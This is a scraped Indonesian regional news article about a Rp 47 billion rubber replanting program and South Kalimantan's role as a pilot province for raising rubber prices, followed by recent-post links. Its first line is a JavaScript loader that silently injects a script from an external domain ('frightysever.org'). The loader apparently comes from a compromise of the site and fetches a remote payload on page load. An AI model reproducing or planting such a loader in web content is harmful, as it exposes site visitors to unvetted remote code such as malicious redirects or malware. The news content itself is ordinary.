(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Bisnis

Kementan Siapkan Rp 47 Miliar untuk Peremajaan Karet


Kalsel Jadi Percontohan

Saat ini, Kalsel menjadi satu dari tiga provinsi yang menjadi percontohan kenaikan harga karet nasional melalui berbagai program yang akan digelontorkan oleh pemerintah pusat. Kepala Dinas Perkebunan dan Perternakan Kalsel drh Suparmi di Banjarbaru, Kalsel, Rabu, mengatakan sebagai upaya meningkatkan harga dan kualitas karet nasional, pemerintah pusat menunjuk tiga provinsi yaitu kalsel, Sumatera Selatan, dan Jambi.

Program percepatan peningkatan kualitas dan harga karet tersebut antara lain melalui intensifikasi dan penguatan Unit Pengolahan dan Pemasaran Bokar (UPPB). “Intensifikasi diarahkan kepada perkebunan karet yang sudah menghasilkan dan sudah tergabung di UPPB,” katanya dilansir Antaranews.com.

Beberapa intensifikasi tersebut berupa bantuan pupuk, herbisida, fungisida, dan bantuan asam semut yang selama ini membebani masyarakat. Upaya penguatan UPPB tersebut, tambah dia, tujuanya untuk meningkatkan mutu dan harga jual bokar serta penguatan kelembagaannya.

“Gubernur Kalimantan Selatan Sahbirin Noor meminta kepada saya, untuk mengawal program tersebut agar benar-benar berdampak bagi peningkatan kesejahteraan masyarakat,” katanya.

Menurut dia, di Kalsel selama ini telah terbentuk 109 UPPB. Dari jumlah tersebut, 46 UPPB telah bermitra dengan pabrik “crumb rubber”, sehingga mendapatkan harga lebih baik.

Harga karet di tingkat petani masih cukup rendah dibandingkan harga karet di UPPB. Hal itu dikarenakan masih banyak petani karet yang belum bermitra dengan pabrikan, serta pengolahan bokar yang masih belum sesuai prosedur seperti belum menggunakan pembeku yang dianjurkan.

Keuntungan dengan bergabungnya petani karet di UPPB adalah selisih harga yang jauh lebih tinggi dibandingkan dengan petani karet yang menjual langsung ke pengepul. “Selain itu, selisih harga yang bisa didapat petani mencapai Rp 3.000-Rp 4.000, untuk itu kami meminta para pekebun untuk bisa bermitra ke UPBB,” katanya.

Menurut Suparmi, selain intensifikasi, pemerintah juga akan melakukan peremajaan karet seluas 1.600 hektare. Luasan peremajaan tersebut meningkat, jika dibandingkan tahun 2018 yang hanya 680 hektare dan 2017 menjadi 1.500 hektare.

Luas areal tanaman karet mencapai 270.345 hektare dengan produksi per tahun sebesar 197.699 ton karet kering. Pabrik pengolahan karet yang ada di Kalsel sebanyak 12 unit dengan kapasitas terpasang 274.900 ton per tahun, terdiri dari pabrik “crumb rubber” 10 unit dengan produksi SIR10 dan SIR20, serta pabrik RSS sebanyak dua unit.(mario/ktd/ant)

Reporter:Mario/ktd/ant
Editor:Cell

Page: 1 2

Desy Arfianty

Recent Posts

PT GEN Siapkan Ekspansi 2025 Kendaraan Angkutan Besar di Kalsel

KANALKALIMANTAN.COM, BANJARMASIN - PT Global Equipment Nusatama (GEN) menggelar kicf off meeting evaluasi bersama jajaran… Read More

5 bulan ago

Wujud Negara Hadir, Pemerintah dan PLN Listriki 99,92 Persen Desa di Indonesia

KANALKALIMANTAN.COM, JAKARTA - Pemerintah melalui PT PLN (Persero) terus berupaya menghadirkan listrik di semua wilayah… Read More

5 bulan ago

Banjir di Cempaka, Angkat Perkakas Rumah Sejak Subuh

KANALKALIMANTAN.COM, BANJARBARU - Guyuran hujan yang tak berhenti sejak dini hari Selasa (21/1/2024) hingga siang… Read More

5 bulan ago

BPPW Kalsel Serahkan Stadion Demang Lehman ke Pemkab Banjar

KANALKALIMANTAN.COM, MARTAPURA - Bupati Banjar H Saidi Mansyur dan Kepala Balai Prasarana Permukiman Wilayah (BPPW)… Read More

5 bulan ago

Ribuan Jemaah Haul ke-1 Guru Danau Berbaur Bersama Pejabat

KANALKALIMANTAN.COM, AMUNTAI - Ribuan jamaah dari berbagai wilayah dari dan luar Kalimantan Selatan menghadiri pelaksanaan… Read More

5 bulan ago

Cempaka Banjir, Hujan Guyur Banjarbaru Dini Hari hingga Siang

KANALKALIMANTAN.COM, BANJARBARU – Guyuran hujan lebat tengah melanda hampir seluruh wilayah di Kota Banjarbaru sejak… Read More

5 bulan ago

This website uses cookies.